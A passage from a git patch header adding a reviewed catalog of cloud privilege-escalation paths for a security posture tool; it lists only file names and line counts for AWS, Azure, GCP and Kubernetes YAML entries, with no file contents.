From aafb23ccb020806152c436b136f1dd96285dcee0 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 22 Oct 2026 22:38:22 +0200 Subject: [PATCH 01/10] Add reviewed CSPM privilege escalation catalog --- .../az-analysis-services-privesc.md | 2 +- .../az-api-management-privesc.md | 22 +- .../az-app-configuration-privesc.md | 2 + .../az-app-services-privesc.md | 40 +- .../az-arc-enabled-servers-privesc.md | 8 +- .../az-arm-deployment-privesc.md | 6 +- .../az-authorization-privesc.md | 2 + .../az-automation-accounts-privesc.md | 18 +- .../az-batch-privesc.md | 14 +- .../az-confidential-ledger-privesc.md | 11 +- .../az-container-apps-privesc.md | 2 +- ...z-container-instances-apps-jobs-privesc.md | 32 +- .../az-databricks-privesc.md | 4 +- .../az-functions-app-privesc.md | 4 +- .../az-kubernetes-privesc.md | 22 +- .../gcp-agent-registry-privesc.md | 4 +- .../gcp-bigquery-privesc.md | 10 +- .../gcp-cloudfunctions-privesc.md | 10 +- .../gcp-compute-privesc/README.md | 2 +- .../gcp-config-controller-privesc.md | 12 +- .../gcp-config-delivery-privesc.md | 3 + .../gcp-contact-center-insights-privesc.md | 8 +- .../gcp-data-fusion-privesc.md | 19 +- .../gcp-dataflow-privesc.md | 15 +- .../gcp-dataform-privesc.md | 6 + .../gcp-dataproc-privesc.md | 26 +- .../gcp-deploymentmaneger-privesc.md | 4 +- .../gcp-firebase-app-hosting-privesc.md | 4 +- .../gcp-firebase-privesc.md | 4 + ...gcp-network-connectivity-center-privesc.md | 6 +- .../gcp-osconfig-privesc.md | 7 +- .../controllers-and-admission.md | 4 + .../README.md | 53 + .../aws/_excluded_171e_g1.yaml | 33 + .../aws/_excluded_171e_g7.yaml | 87 + .../aws/_excluded_a.yaml | 335 ++ ...cluded_apigateway_generic_integration.yaml | 5 + ...plane_subject_strict_reaudit_20261016.yaml | 19 + ...artifact_join_strict_reaudit_20261016.yaml | 80 + .../aws/_excluded_audit_6fb9.yaml | 176 + .../aws/_excluded_b.yaml | 410 ++ ...unded_service_role_overclaim_20261016.yaml | 47 + ...luded_cognito_strict_reaudit_20261016.yaml | 87 + ...er_input_join_strict_reaudit_20261016.yaml | 154 + ...mer_semantics_strict_reaudit_20261016.yaml | 40 + ...ffective_gain_strict_reaudit_20261016.yaml | 76 + ..._excluded_eks_strict_reaudit_20261016.yaml | 44 + ...tion_foothold_strict_reaudit_20261016.yaml | 57 + ...uded_foothold_strict_reaudit_20261016.yaml | 30 + .../_excluded_generated_scope_20261016.yaml | 1056 ++++ ...ric_challenge_strict_reaudit_20261016.yaml | 15 + ...oined_tes_role_final_reaudit_20261016.yaml | 9 + ...excluded_org_scope_overclaim_20261016.yaml | 11 + ...luded_pr_head_reconciliation_20261016.yaml | 53 + .../aws/_excluded_refresh_g1.yaml | 50 + .../aws/_excluded_refresh_g2.yaml | 35 + .../aws/_excluded_refresh_g3.yaml | 70 + .../aws/_excluded_refresh_g4.yaml | 168 + .../aws/_excluded_refresh_g5.yaml | 98 + .../aws/_excluded_refresh_g6.yaml | 185 + .../aws/_excluded_refresh_g7.yaml | 123 + ..._scoped_credential_overclaim_20261016.yaml | 20 + ...cluded_scoped_role_overclaim_20261016.yaml | 55 + ...ndary_bounded_role_overclaim_20261016.yaml | 44 + .../_excluded_strict_reaudit_20261016.yaml | 63 + ..._studio_space_strict_reaudit_20261016.yaml | 8 + .../aws/_excluded_sweep.yaml | 1 + ...ted_host_join_strict_reaudit_20261016.yaml | 165 + ...d_service_join_final_reaudit_20261016.yaml | 72 + ...oined_subject_strict_reaudit_20261016.yaml | 107 + ...ssm_dlm_target_final_reaudit_20261016.yaml | 15 + .../aws/_excluded_verify_a66f.yaml | 3014 +++++++++++ .../aws/account.yaml | 10 + .../aws/amplify.yaml | 116 + .../aws/appconfig.yaml | 10 + .../aws/appflow.yaml | 10 + .../aws/apprunner.yaml | 114 + .../aws/appstream.yaml | 194 + .../aws/appsync.yaml | 8 + .../aws/arc-region-switch.yaml | 10 + .../aws/athena.yaml | 57 + .../aws/batch.yaml | 51 + .../aws/bedrock.yaml | 208 + .../aws/bounded-effects-v5.yaml | 3 + .../aws/braket.yaml | 47 + .../aws/budgets.yaml | 10 + .../aws/bulk-principal-v6.yaml | 3 + .../aws/challenge-v3.yaml | 3 + .../aws/chatbot.yaml | 10 + .../aws/chime.yaml | 10 + .../aws/cloudcontrol.yaml | 46 + .../aws/cloudformation.yaml | 333 ++ .../aws/cloudfront.yaml | 65 + .../aws/cloudwatch.yaml | 11 + .../aws/codeartifact.yaml | 8 + .../aws/codebuild.yaml | 334 ++ .../aws/codecommit.yaml | 9 + .../aws/codeconnections.yaml | 8 + .../aws/codedeploy.yaml | 8 + .../aws/codepipeline.yaml | 137 + .../aws/cognito.yaml | 10 + .../aws/config.yaml | 50 + .../aws/connect.yaml | 9 + .../aws/controltower.yaml | 8 + .../aws/datapipeline.yaml | 47 + .../aws/datasync.yaml | 12 + .../aws/datazone.yaml | 13 + .../aws/deadline.yaml | 94 + .../aws/devicefarm.yaml | 45 + .../aws/dlm.yaml | 8 + .../aws/ds.yaml | 8 + .../aws/ec2.yaml | 320 ++ .../aws/ecr.yaml | 8 + .../aws/ecs.yaml | 261 + .../aws/eks.yaml | 154 + .../aws/elasticbeanstalk.yaml | 69 + .../aws/emr.yaml | 82 + .../aws/emrserverless.yaml | 159 + .../aws/events.yaml | 46 + .../aws/exact-principal-v5.yaml | 216 + .../aws/fis.yaml | 11 + .../aws/flink.yaml | 49 + .../aws/gamelift.yaml | 48 + .../aws/gameliftstreams.yaml | 48 + .../aws/glue.yaml | 272 + .../aws/grafana.yaml | 107 + .../aws/greengrass.yaml | 8 + .../aws/healthomics.yaml | 8 + .../aws/iam.yaml | 821 +++ .../aws/imagebuilder.yaml | 42 + .../aws/iot.yaml | 55 + .../aws/lambda.yaml | 561 ++ .../aws/lightsail.yaml | 7 + .../aws/m2.yaml | 50 + .../aws/migrationhub.yaml | 102 + .../aws/mldataaccess.yaml | 94 + .../aws/mwaa.yaml | 87 + .../aws/organizations.yaml | 88 + .../aws/pcaconnectorad.yaml | 11 + .../aws/pipes.yaml | 11 + .../aws/quicksight.yaml | 43 + .../aws/rds.yaml | 11 + .../aws/redshift.yaml | 16 + .../aws/s3.yaml | 82 + .../aws/s3files.yaml | 11 + .../aws/sagemaker.yaml | 449 ++ .../aws/scheduler.yaml | 47 + .../aws/scoped_grants.yaml | 127 + .../aws/servicecatalog.yaml | 90 + .../aws/snowball.yaml | 12 + .../aws/ssm-incidents.yaml | 46 + .../aws/ssm.yaml | 334 ++ .../aws/sso.yaml | 8 + .../aws/stepfunctions.yaml | 124 + .../aws/sts.yaml | 125 + .../aws/supplychain.yaml | 9 + .../aws/synthetics.yaml | 9 + .../aws/transfer.yaml | 11 + .../aws/workspaces.yaml | 48 + .../azure/_excluded_171e422_compute.yaml | 324 ++ .../azure/_excluded_171e422_control.yaml | 5 + .../azure/_excluded_171e422_entra.yaml | 108 + .../azure/_excluded_audit_g1-entra.yaml | 103 + .../azure/_excluded_audit_g2-hybrid.yaml | 80 + .../_excluded_audit_g3-rbac-control.yaml | 22 + .../azure/_excluded_audit_g4-compute.yaml | 18 + .../azure/_excluded_audit_g5-apps.yaml | 27 + .../azure/_excluded_audit_g6-containers.yaml | 50 + .../azure/_excluded_audit_g7-data-ai.yaml | 122 + .../azure/_excluded_audit_g8-storage-msg.yaml | 71 + .../_excluded_challenge_crossprovider.yaml | 18 + .../azure/_excluded_entraid.yaml | 158 + .../azure/_excluded_rbac.yaml | 858 +++ .../azure/_excluded_rbac_refresh_a.yaml | 119 + .../azure/_excluded_rbac_refresh_b.yaml | 167 + .../azure/_excluded_rbac_refresh_c.yaml | 97 + .../azure/_excluded_retired_apim_git.yaml | 6 + .../_excluded_strict_principal_boundary.yaml | 921 ++++ .../azure/_excluded_sweep.yaml | 1 + .../azure/_excluded_verify_azure.yaml | 1879 +++++++ .../azure/adjacent_principals.yaml | 131 + .../azure/analysis_services.yaml | 41 + .../azure/api_management.yaml | 112 + .../azure/app_configuration.yaml | 36 + .../azure/app_services.yaml | 413 ++ .../azure/arc.yaml | 103 + .../azure/arm.yaml | 37 + .../azure/authorization.yaml | 141 + .../azure/automation.yaml | 166 + .../azure/avs.yaml | 96 + .../azure/batch.yaml | 145 + .../azure/confidential_ledger.yaml | 38 + .../azure/container_registry.yaml | 101 + .../azure/containers.yaml | 326 ++ .../azure/cosmos_db.yaml | 178 + .../azure/data_explorer.yaml | 95 + .../azure/data_factory.yaml | 11 + .../azure/databases.yaml | 239 + .../azure/databricks.yaml | 42 + .../azure/devtest_labs.yaml | 38 + .../azure/entraid_apps.yaml | 357 ++ .../azure/entraid_governance.yaml | 132 + .../azure/entraid_groups.yaml | 254 + .../azure/entraid_pim.yaml | 131 + .../azure/entraid_roles.yaml | 437 ++ .../azure/functions.yaml | 143 + .../azure/guest_configuration.yaml | 43 + .../azure/image_builder.yaml | 45 + .../azure/kubernetes.yaml | 397 ++ .../azure/load_testing.yaml | 82 + .../azure/logic_apps.yaml | 69 + .../azure/machine_learning.yaml | 146 + .../azure/managed_applications.yaml | 34 + .../azure/managed_grafana.yaml | 37 + .../azure/purview.yaml | 41 + .../azure/self_permission_grants.yaml | 93 + .../azure/service_fabric.yaml | 55 + .../azure/spring_apps.yaml | 77 + .../azure/storage-local-v7.yaml | 117 + .../azure/storage.yaml | 34 + .../azure/synapse.yaml | 39 + .../azure/virtual_machines.yaml | 433 ++ .../gcp/_excluded.yaml | 2744 ++++++++++ .../gcp/_excluded_sweep.yaml | 1 + .../gcp/_todo.yaml | 4 + .../gcp/agentregistry.yaml | 39 + .../gcp/agentregistry_external.yaml | 32 + .../gcp/aiplatform.yaml | 2 + .../gcp/apigee.yaml | 89 + .../gcp/apikeys.yaml | 44 + .../gcp/appengine.yaml | 124 + .../gcp/artifactregistry.yaml | 107 + .../gcp/batch.yaml | 40 + .../gcp/bigquery.yaml | 136 + .../gcp/bigquery_row_policy.yaml | 39 + .../gcp/bounded-effects-v5.yaml | 3 + .../gcp/bulk-principal-v6.yaml | 2 + .../gcp/challenge-v3.yaml | 3 + .../gcp/cloudbuild.yaml | 177 + .../gcp/clouddeploy.yaml | 137 + .../gcp/cloudfunctions.yaml | 153 + .../gcp/cloudidentity.yaml | 41 + .../gcp/cloudscheduler.yaml | 83 + .../gcp/cloudsql_external.yaml | 3 + .../gcp/cloudtasks.yaml | 81 + .../gcp/composer.yaml | 101 + .../gcp/compute.yaml | 370 ++ .../gcp/configcontroller.yaml | 87 + .../gcp/configdelivery.yaml | 49 + .../gcp/container.yaml | 687 +++ .../gcp/dataflow.yaml | 113 + .../gcp/dataform.yaml | 51 + .../gcp/datafusion.yaml | 112 + .../gcp/dataplex.yaml | 43 + .../gcp/dataproc.yaml | 248 + .../gcp/deploymentmanager.yaml | 107 + .../gcp/developerconnect.yaml | 45 + .../gcp/dlp.yaml | 2 + .../gcp/domains.yaml | 64 + .../gcp/eventarc.yaml | 45 + .../gcp/exact-principal-v5.yaml | 2 + .../gcp/firebase_external.yaml | 58 + .../gcp/firebaseapphosting.yaml | 74 + .../gcp/hypercomputecluster.yaml | 43 + .../gcp/iam.yaml | 233 + .../gcp/inframanager.yaml | 39 + .../gcp/osconfig.yaml | 164 + .../gcp/pam.yaml | 8 + .../gcp/parametermanager.yaml | 2 + .../gcp/privatecatalog.yaml | 38 + .../gcp/resource_self_grants.yaml | 1836 +++++++ .../gcp/resourcemanager.yaml | 247 + .../gcp/run.yaml | 540 ++ .../gcp/saasservicemgmt.yaml | 6 + .../gcp/secretmanager.yaml | 2 + .../gcp/securesourcemanager.yaml | 2 + .../gcp/sourcerepos.yaml | 61 + .../gcp/storage.yaml | 219 + .../gcp/vertexai.yaml | 373 ++ .../gcp/vmmigration.yaml | 45 + .../gcp/vmware_external.yaml | 59 + .../gcp/wif.yaml | 136 + .../gcp/workflows.yaml | 172 + .../gcp/workspace.yaml | 110 + .../gcp/workstations.yaml | 146 + .../k8s/_excluded.yaml | 710 +++ .../k8s/_excluded_sweep.yaml | 5 + .../k8s/admission_control.yaml | 2 + .../k8s/challenge-v3-azure.yaml | 8 + .../k8s/cloud_pivot.yaml | 342 ++ .../k8s/config_connector.yaml | 74 + .../k8s/helm_values_rbac.yaml | 35 + .../k8s/nodes.yaml | 686 +++ .../k8s/openshift.yaml | 309 ++ .../k8s/rbac.yaml | 1064 ++++ .../k8s/scoped-credential-v7.yaml | 81 + .../k8s/verified_pivots.yaml | 126 + .../k8s/workloads.yaml | 332 ++ .../privesc-technique.schema.json | 4698 +++++++++++++++++ 299 files changed, 45055 insertions(+), 116 deletions(-) create mode 100644 src/privilege-escalation-paths-cspm-reviewed/README.md create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_171e_g1.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_171e_g7.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_a.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_apigateway_generic_integration.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_app_plane_subject_strict_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_audit_6fb9.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_b.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_bounded_service_role_overclaim_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_cognito_strict_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_input_join_strict_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_semantics_strict_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_effective_gain_strict_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_eks_strict_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_execution_foothold_strict_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_foothold_strict_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generated_scope_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_greengrass_unjoined_tes_role_final_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_org_scope_overclaim_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_pr_head_reconciliation_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g1.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g2.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g3.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g4.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g5.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g6.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g7.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_credential_overclaim_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_role_overclaim_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_secondary_bounded_role_overclaim_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_strict_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_studio_space_strict_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_sweep.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unproven_ssm_dlm_target_final_reaudit_20261016.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_verify_a66f.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/account.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/amplify.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/appconfig.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/appflow.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/apprunner.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/appsync.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/arc-region-switch.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/athena.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/batch.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/bedrock.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/bounded-effects-v5.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/braket.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/budgets.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/bulk-principal-v6.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/challenge-v3.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/chatbot.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/chime.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/cloudformation.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/cloudfront.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/cloudwatch.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/codeartifact.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/codebuild.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/codecommit.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/codeconnections.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/codedeploy.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/cognito.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/config.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/connect.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/controltower.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/datapipeline.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/datasync.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/datazone.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/devicefarm.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/dlm.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/ds.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/ecr.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/eks.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/elasticbeanstalk.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/emrserverless.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/exact-principal-v5.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/fis.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/gamelift.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/grafana.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/greengrass.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/healthomics.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/iam.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/imagebuilder.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/iot.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/lambda.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/lightsail.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/m2.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/migrationhub.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/mldataaccess.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/mwaa.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/organizations.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/pcaconnectorad.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/pipes.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/quicksight.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/rds.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/redshift.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/s3.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/s3files.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/scheduler.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/scoped_grants.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/servicecatalog.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/snowball.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/ssm-incidents.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/ssm.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/sso.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/stepfunctions.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/sts.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/supplychain.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/synthetics.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/transfer.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/workspaces.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_compute.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_control.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_entra.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g1-entra.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g2-hybrid.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g3-rbac-control.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g4-compute.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g5-apps.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g6-containers.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g7-data-ai.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g8-storage-msg.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_challenge_crossprovider.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_entraid.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_a.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_b.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_c.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_retired_apim_git.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_strict_principal_boundary.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_sweep.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_verify_azure.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/adjacent_principals.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/analysis_services.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/api_management.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/app_configuration.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/app_services.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/arc.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/arm.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/authorization.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/automation.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/avs.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/batch.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/confidential_ledger.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/container_registry.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/containers.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/cosmos_db.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/data_explorer.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/data_factory.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/databases.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/databricks.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/devtest_labs.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/entraid_apps.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/entraid_governance.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/entraid_groups.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/entraid_pim.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/entraid_roles.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/functions.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/guest_configuration.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/image_builder.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/kubernetes.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/load_testing.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/logic_apps.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/machine_learning.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/managed_applications.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/managed_grafana.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/purview.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/self_permission_grants.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/service_fabric.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/spring_apps.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/storage-local-v7.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/storage.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/synapse.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/virtual_machines.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded_sweep.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/_todo.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry_external.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/aiplatform.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/apigee.yaml create mode 